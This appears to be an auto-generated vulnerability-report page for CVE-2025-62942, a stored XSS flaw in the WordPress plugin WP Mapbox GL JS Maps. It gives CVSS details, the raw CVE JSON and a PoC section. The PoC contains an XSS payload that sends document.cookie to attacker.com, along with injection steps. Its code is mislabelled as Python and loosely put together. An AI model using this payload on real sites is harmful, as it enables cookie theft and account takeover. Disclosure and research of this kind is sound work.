Security Vulnerability Report
中文
CVE-2025-62942 CVSS 6.5 MEDIUM

CVE-2025-62942

Published: 2025-10-27 02:15:54
Last Modified: 2026-04-27 17:16:37

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tempranova WP Mapbox GL JS Maps wp-mapbox-gl-js allows Stored XSS.This issue affects WP Mapbox GL JS Maps: from n/a through <= 3.0.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP Mapbox GL JS Maps (wp-mapbox-gl-js) <= 3.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-62942 PoC: Stored XSS in WP Mapbox GL JS Maps --> <!-- This PoC demonstrates the stored XSS vulnerability --> <!-- Attack Vector: Map marker title/description field --> // Malicious payload injection const xssPayload = { marker_title: '<script>console.log("XSS")</script>', marker_description: '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">', marker_lat: '40.7128', marker_lng: '-74.0060' }; // Exploitation steps: // 1. Attacker accesses WordPress admin panel // 2. Navigate to WP Mapbox GL JS Maps plugin settings // 3. Create/edit a map with malicious marker // 4. Inject XSS payload in marker fields // 5. Save the map configuration // 6. When users view the page with the map, XSS executes // Example: Using WordPress REST API (if authenticated) /* fetch('/wp-json/wp/v2/posts', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': wpNonce }, body: JSON.stringify({ title: 'Map with XSS', content: '[mapbox id="' + xssPayload.marker_title + '"]' }) }); */ // Mitigation: Sanitize and escape all user inputs before storage and output // Use htmlspecialchars() or wp_kses() functions in WordPress

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62942", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:54.280", "lastModified": "2026-04-27T17:16:36.603", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tempranova WP Mapbox GL JS Maps wp-mapbox-gl-js allows Stored XSS.This issue affects WP Mapbox GL JS Maps: from n/a through <= 3.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-mapbox-gl-js/vulnerability/wordpress-wp-mapbox-gl-js-maps-plugin-3-0-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}